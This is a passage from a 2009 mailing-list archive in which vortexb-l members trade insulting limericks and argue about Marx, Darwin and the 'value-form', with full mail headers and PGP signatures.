barricade and roared out: > A Limerick > > Pretending to be in the fray, > but hiding in resist.ca, > someone selling a crock > of shit, calling it grok > had nothing important to say. There once was a quack science nut Who invariably pulled crap from his butt And he said with a grin - -- as he wiped off his chin -- That his first goal in life was to swallow it. - -- grok the limeritician. - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko9qA4ACgkQB9bXLLhitTM/TQCfXn6TVRjKkZKS9jBnaez6mXJ+ LXYAmwWcfV4KbVdH6SxK9zIW0Am1NQQP =L8ZV -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 21 10:17:02 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5LHGxof003579; Sun, 21 Jun 2009 10:16:59 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5LHGsj2003545; Sun, 21 Jun 2009 10:16:54 -0700 Resent-Date: Sun, 21 Jun 2009 10:16:54 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 674813.964.bm@omp120.mail.ac4.yahoo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1245604613; bh=jVO1l2ozufXllj2q8x6dLYB5+NVfPDjiQ39hPMkuAfI=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=DlXZhwiTpPHlI6V+LDFDcNnh5p7xxW9+6dKyHq4tcFpJVDmWNvdzGKTj2Ybeu68rReNp00XbGsDvSIGOxwyEpn3y5K5jcvT4OIBt7Mw/9tVxqHrQXWe64w5wBcdCxaq81B++jYx/k7qJOBn2DLfxy8GC9cp73CMoIg9AkPjOgj4= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=jfMbwQ31wwGaRs8DpuWrSKjzMwdKE2ah+FMtDUV/elIVDA1lg/EuID6NrE576qsgu4dzPwZ4gInTEBITBE9xbShcjg6LfGIKfSLEor3zTUZJDq/9ZOLpvugey3gqyoCvuUFi6cEj9IXh/KTBuCVsfFQBXnyWfWw9OUslfrTXsa0=; Message-ID: <352420.83552.qm@web59613.mail.ac4.yahoo.com> X-YMail-OSG: b3SeoIAVM1nf5BTc1aziY2USWyfBGXOTeBeuQceNlhOBiPHTKHNNoJ6iNQox.IrfexZydM5ZhZvffM02sW6Wa9OC7hXFgbUIvjIxTtRTanC1G3AR5yoLLileSd5KaRRqt.IWnZaUoOACgUGml3DT4t8ccjDFb8TuLvC0VB2Deq31Olmfwbj0CGWXRe7Fu.juUsdrK5KrHWEYClLBCSj7okAv.a4GgawOuuAFDWm4AReqcowVLJhPstg- X-Mailer: YahooMailClassic/5.4.17 YahooMailWebService/0.7.289.15 Date: Sun, 21 Jun 2009 10:16:51 -0700 (PDT) From: Chris Zell Subject: Re: [VoB]:Marx and Darwin: Two great revolutionary thinkers of the nineteenth century To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1958434129-1245604611=:83552" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4410 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 652 --0-1958434129-1245604611=:83552 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable "Nineteenth century" =A0 nothing more need be said=0A=0A=0A --0-1958434129-1245604611=:83552 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
"Nineteenth century"
 
nothing more need be said

=0A=0A --0-1958434129-1245604611=:83552-- From vortexb-l-request@eskimo.com Sun Jun 21 16:29:05 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5LNT1iF027262; Sun, 21 Jun 2009 16:29:02 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5LNT1I7027257; Sun, 21 Jun 2009 16:29:01 -0700 Resent-Date: Sun, 21 Jun 2009 16:29:01 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: NwpdgAAVM1n8ifhsBihbbZk4VSASNuu2Cn_D2odEpVntW6rnHUWfhqFHbWIxIjQMhomzL_q5k0jtHA.j2IesOFro5oHazuq6HXHGUBIUrHeSUVwJpFgdBrhudVQ0oowJ1tMlIUsv3TRNndMFrC.x6IWdXZklHkZSFik8wYuwpPeweJoWKb7JXFp7xKw3FwNMcFU4bJ_8ta07F3w7NUrUqmRRZY3VvkvVni486Z.DUN4c169SoT16E3vbUxO0Xw77ju2LPR9QTH_jOSLmvZJ5HitlJq6VF4MKGTtwzrL2BAKBR_Br6Ds_pREvIY6L0p4Oko7qTZLInkwgXEl2p1LzUR31og8D71wunNk- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Subject: Re: [VoB]:I hereby resign from the human race... Date: Sun, 21 Jun 2009 18:29:00 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090619175840.GA17823@shell.resist.ca> <20090620042940.GA6427@shell.resist.ca> <0jgq35hinu8d7dijhsbbig3ktf66upe412@4ax.com> <20090621032502.GB2509@shell.resist.ca> In-Reply-To: <20090621032502.GB2509@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4411 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 653 On Sat, 20 Jun 2009 20:25:02 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> A Limerick >>=20 >> Pretending to be in the fray, >> but hiding in resist.ca, >> someone selling a crock >> of shit, calling it grok >> had nothing important to say. > >There once was a quack science nut >Who invariably pulled crap from his butt >And he said with a grin >- -- as he wiped off his chin -- >That his first goal in life was to swallow it. > > >- -- grok the limeritician. --- NOT... http://en.wikipedia.org/wiki/Limerick_(poetry) I'd bet you think 'meter' is something you find in a taxicab... Limerick 2 Grok leaned all the way to the left because of wit he was bereft. Then his wishes came true when the reaper rode through,=20 but cried when the scythe cut the weft. JF =20 From vortexb-l-request@eskimo.com Sun Jun 21 20:43:54 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5M3hmXu016187; Sun, 21 Jun 2009 20:43:48 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5M3hm5N016175; Sun, 21 Jun 2009 20:43:48 -0700 Resent-Date: Sun, 21 Jun 2009 20:43:48 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 21 Jun 2009 20:43:32 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Marx and Darwin: Two great revolutionary thinkers of the nineteenth century Message-ID: <20090622034332.GA15076@shell.resist.ca> Reply-To: grok@resist.ca References: <352420.83552.qm@web59613.mail.ac4.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: quoted-printable In-Reply-To: <352420.83552.qm@web59613.mail.ac4.yahoo.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Compsec, Mossberg, Poti, Internet Underground, imagery intelligence User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4412 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 654 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Chris Zell mounted the barricade and roared out: > "Nineteenth century" > =C2=A0 > nothing more need be said Right... so fuck all the scientific discoveries of the past too, huh? Especially the past 500 years? Moron. As someone said to just exactly this sort of smug dimwittedness: 'then don't bring up Jesus to me either, OK?' Etc. One reason I don't respect half of youse is because it has been definitively proven here in the past few months that youse'll clearly try absolutely ANY intellectual dishonesty possible in order to 'win', when the chips are down. Or not even then. And so that begs the question, then: who could trust your science either, really..?=20 Buncha Mylows. We're still LIVING in the 19th Century, fools. - -- grok. - --=20 Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko+/eQACgkQB9bXLLhitTN0FwCglCOFvFJZdJM1Q8SRwW1mcTbd fbgAnAu2QCg7My5c1dRvd1xy180DmTuZ =3DAP7S -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 21 20:55:50 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5M3tlGU018870; Sun, 21 Jun 2009 20:55:47 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5M3tkkP018862; Sun, 21 Jun 2009 20:55:46 -0700 Resent-Date: Sun, 21 Jun 2009 20:55:46 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 21 Jun 2009 20:55:35 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:I hereby resign from the human race... Message-ID: <20090622035535.GB15076@shell.resist.ca> Reply-To: grok@resist.ca References: <20090619175840.GA17823@shell.resist.ca> <20090620042940.GA6427@shell.resist.ca> <0jgq35hinu8d7dijhsbbig3ktf66upe412@4ax.com> <20090621032502.GB2509@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Compsec, Mossberg, Poti, Internet Underground, imagery intelligence User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4413 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 655 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >- -- grok the limeritician. > > --- > NOT... > > http://en.wikipedia.org/wiki/Limerick_(poetry) Sez you, Petty One. > I'd bet you think 'meter' is something you find in a taxicab... I'll mete something else out to YOU buddy... > Limerick 2 > > Grok leaned all the way to the left > because of wit he was bereft. > Then his wishes came true > when the reaper rode through, > but cried when the scythe cut the weft. > > JF There once was a fool on Vortex-l With delusions that he could write text well And with pathos ere deep Could but baaah like a sheep Yet with such could he then make his head swell - -- grok. - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko/ALcACgkQB9bXLLhitTM4MQCdFktM+Z3XerHNovyHbnEVf7WZ t7wAnA4uswpi+1Gj/8AEMUYpFoj72CMJ =5Rue -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 21 21:19:56 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5M4Jox9024264; Sun, 21 Jun 2009 21:19:54 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5M4Jo8Q024259; Sun, 21 Jun 2009 21:19:50 -0700 Resent-Date: Sun, 21 Jun 2009 21:19:50 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 21 Jun 2009 21:19:40 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090622041940.GC15076@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Compsec, Mossberg, Poti, Internet Underground, imagery intelligence User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <_tOs3D.A.26F.lZwPKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4414 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Marginalized Utilities: Xlation of Marx' "Value-Form" appendix to his 1st edition (german) of "Capital" Status: O X-Status: X-Keywords: X-UID: 656 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Speaking of the 19th Century: this one'll be right over the heads of the knuckle-draggers here... but anyone who wants to read a short, concise, clear exposition on Marx' "value-form" -- as famously (and a little toughly) worked into the 1st chapter of later editions of "Capital" -- can find the translation (from the german 1st edition) here: THE VALUE-FORM Appendix to the 1st German edition of Capital, Volume 1, 1867: What's great about this 'primer' IMO is that it somewhat more explicitly demonstrates the development of the subject *thru the dialectical- materialist method*. Which all scientists should be consciously using, as a matter of course (and which they more and more use these days in any case, in the face of an unyielding Universe, unconsciously or otherwise -- and generally w/o attribution). - -- grok. - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko/BlwACgkQB9bXLLhitTPonwCggQq1TlJVBC21NMeJAQDhCUq3 VWMAn2lKummPSHdIrORc0B+ENS4XBdlz =Z80G -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 22 05:26:53 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5MCQpBw014138; Mon, 22 Jun 2009 05:26:51 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5MCQklx014114; Mon, 22 Jun 2009 05:26:46 -0700 Resent-Date: Mon, 22 Jun 2009 05:26:46 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 466578.33605.bm@omp119.mail.ac4.yahoo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1245673598; bh=HYWWc9abn1ObpLecwJB4AbstbM01sBClkqFND5GbqBs=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=18bCsD/NCUdDq2sl482v1LnGibcjRj8us//7/y9VyHbwRl/y7UERB+EExkA4LhbCLXuleNGQKtVXJcf7cB2KEQZ/6DhyFT4MdkqkhBFfRr0ZQr/+3k+6s7NLBMB/uaekWxA4JdfOkIqszLojlJJzgBfNEj7L9v4YsME4mmEEFmk= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:MIME-Version:Content-Type; b=lFoLqW/tb4aGtK+rvPLHEJ4qj7rKCIji1xbfKhRstZ3dz8ITs/hJL4inQd73gJl/T5Fh1WqkFQChQlGwOJOBmAl4ueTIxGoxHTNxO8R2d/F6liQLzSAgM8s0ArSrCI63TnYWXPAZtAdd/gtJnFsZMZcMMz3j2eBs4KwtnNWPH3Y=; Message-ID: <227332.41860.qm@web59612.mail.ac4.yahoo.com> X-YMail-OSG: 20Ep_4QVM1mN4NwBf99ZLo9HnTnRlGRJzbXWDKULBE._4t5mt_D_9qS8mUoERAXhWhH7.20QYKI9SG18ZyVZs42B91d6PYSemHUmZdRM5K0LcI3b3qwQyjkJ8bmCRoMAOBFNGTbXEkE6GWUE29L0M90l7De6jY6Dm81nyb3BJJvNsQIesPQZyXCbf_9YqNv6F8wrZtrO6G.iivnxKar8AmoUdB5iNneabLmnbnJRxNROKxQyCQ-- X-Mailer: YahooMailClassic/5.4.17 YahooMailWebService/0.7.289.15 Date: Mon, 22 Jun 2009 05:26:38 -0700 (PDT) From: Chris Zell Subject: Re: [VoB]:Marx and Darwin: Two great revolutionary thinkers of the nineteenth century To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1596127791-1245673598=:41860" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4415 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 657 --0-1596127791-1245673598=:41860 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable I want to compliment you on this post.=A0 Not everyone can see the religiou= s character of what Darwin and Marx started, as you associate them with Jes= us.=0A=0A=0A --0-1596127791-1245673598=:41860 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
I want to compliment you on this post.&n= bsp; Not everyone can see the religious character of what Darwin and Marx s= tarted, as you associate them with Jesus.

=0A=0A= --0-1596127791-1245673598=:41860-- From vortexb-l-request@eskimo.com Mon Jun 22 10:12:34 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5MHCWpJ020968; Mon, 22 Jun 2009 10:12:32 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5MHCWOS020958; Mon, 22 Jun 2009 10:12:32 -0700 Resent-Date: Mon, 22 Jun 2009 10:12:32 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 22 Jun 2009 10:12:19 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Marx and Darwin: Two great revolutionary thinkers of the nineteenth century Message-ID: <20090622171218.GA25944@shell.resist.ca> Reply-To: grok@resist.ca References: <227332.41860.qm@web59612.mail.ac4.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <227332.41860.qm@web59612.mail.ac4.yahoo.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: JDSC, Tiger II, Mirage F-1, SAIC, Kiwi User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4416 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 658 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Chris Zell mounted the barricade and roared out: > I want to compliment you on this post.  Not everyone can see the > religious character of what Darwin and Marx started, as you > associate them with Jesus. Hey -- give unto the Kaiser what is the Kaiser's, and all that. And BTW: even the Globe & Mail has gone commie: What IS the World coming too..?? - -- grok. - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAko/u3IACgkQB9bXLLhitTNnKACeMEal6woEgZ/BtCAAL47GMkYj BdgAn0p4m4k1aBHvYjzjhtOij8hBXj58 =oqQC -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 22 10:49:25 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n5MHnMdQ030494; Mon, 22 Jun 2009 10:49:23 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n5MHnMdG030484; Mon, 22 Jun 2009 10:49:22 -0700 Resent-Date: Mon, 22 Jun 2009 10:49:22 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=vWZ/dI6zRd3uGYi0kvw+T5qE5G0/rKK4GWQVMInsGO0=; b=ZYCbmtMajYMHDwMx8eneGJJ2NX3XqSnBnGEMWq7vwbbT+zxUDt3bH7IXxJ+ukblmY5 aKfCN5h0OZVkSjo+1GJ4PELVFkY+28nff2oAuGIIB3hKqg4ETtmmsO6/6eS+RmzSpYN5 kfvNC58ti0wdCUgj8UkWf5oOMjSD+v2aM2F14= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=DhVBfMbjLECAZi+0bWkj49w8W/3MN9dbbYw5XWIse56g3OA0qBuAbc5cCBRSRtEv3t ShRDhAAe/quY4g9+wcwfD48+mWncovaBa5Km49YOEht6O/kAfskJW1NcPFiL8YJ74Tmq JQ/VqER3TKOn+T3nAHiA96VF9vBdqPcBzUaWE= MIME-Version: 1.0 In-Reply-To: <20090622041940.GC15076@shell.resist.ca> References: <20090622041940.GC15076@shell.resist.ca> From: Charles HOPE Date: Mon, 22 Jun 2009 13:49:00 -0400 Message-ID: <63ffa6020906221049i311aa50axeb37395a59256dee@mail.gmail.com> Subject: Re: [VoB]:Marginalized Utilities: Xlation of Marx' "Value-Form" appendix to his 1st edition (german) of "Capital" To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c9254563f358046cf37ee1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4417 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 659 --001636c9254563f358046cf37ee1 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Do you understand and stand by that entire paper? On Mon, Jun 22, 2009 at 12:19 AM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > Speaking of the 19th Century: this one'll be right over the heads of > the knuckle-draggers here... but anyone who wants to read a short, > concise, clear exposition on Marx' "value-form" -- as famously (and a > little toughly) worked into the 1st chapter of later editions of > "Capital" -- can find the translation (from the german 1st edition) > here: > > THE VALUE-FORM > Appendix to the 1st German edition of Capital, Volume 1, 1867: > > > What's great about this 'primer' IMO is that it somewhat more explicitly > demonstrates the development of the subject *thru the dialectical- > materialist method*. Which all scientists should be consciously using, > as a matter of course (and which they more and more use these days in > any case, in the face of an unyielding Universe, unconsciously or > otherwise -- and generally w/o attribution). > > > - -- grok. > > > > > > > > > - -- > Beware the bait & switch fraud: "Social Justice" is NOT Socialism! > > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAko/BlwACgkQB9bXLLhitTPonwCggQq1TlJVBC21NMeJAQDhCUq3 > VWMAn2lKummPSHdIrORc0B+ENS4XBdlz > =3DZ80G > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c9254563f358046cf37ee1 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Do you understand and stand by that entire paper?

On Mon, Jun 22, 2009 at 12:19 AM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Speaking of the 19th Century: this one'll be right over the heads of the knuckle-draggers here... but anyone who wants to read a short,
concise, clear exposition on Marx' "value-form" -- as famousl= y (and a
little toughly) worked into the 1st chapter of later editions of
"Capital" -- can find the translation (from the german 1st editio= n)
here:

=A0THE VALUE-FORM
=A0Appendix to the 1st German edition of Capital, Volume 1, 1867:
=A0<http://marxists.org/archive/marx/works/1867-c1/appen= dix.htm>

What's great about this 'primer' IMO is that it somewhat more e= xplicitly
demonstrates the development of the subject *thru the dialectical-
materialist method*. Which all scientists should be consciously using,
as a matter of course (and which they more and more use these days in
any case, in the face of an unyielding Universe, unconsciously or
otherwise -- and generally w/o attribution).


- -- grok.








- --
Beware the bait & switch fraud: "Social Justice" is NOT Socia= lism!

Build the North America-wide General Strike.
TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAko/BlwACgkQB9bXLLhitTPonwCggQq1TlJVBC21NMeJAQDhCUq3
VWMAn2lKummPSHdIrORc0B+ENS4XBdlz
=3DZ80G
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c9254563f358046cf37ee1-- From vortexb-l-request@eskimo.com Sun Jun 28 10:25:20 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n5SHPGAu006116; Sun, 28 Jun 2009 10:25:16 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n5SHP8gb006075; Sun, 28 Jun 2009 10:25:08 -0700 Resent-Date: Sun, 28 Jun 2009 10:25:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 28 Jun 2009 10:24:50 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090628172450.GK4741@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Russia, Inspector General of Intelligence and Security, F-117, GLONASS, 747-8 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4418 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:U.S. State Department -- and Pentagon -- busy little beavers today... Status: O X-Status: X-Keywords: X-UID: 660 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Isn't "Democracy" grand, eh fellas..? Your tax shekels at work. 'We had to destroy the country in order to save it', etc., etc., yadda. - -- grok. HONDURAS PRESIDENT CONDEMNS 'PLOT': - -- Beware the bait & switch fraud: "Social Justice" is NOT Socialism! Build the North America-wide General 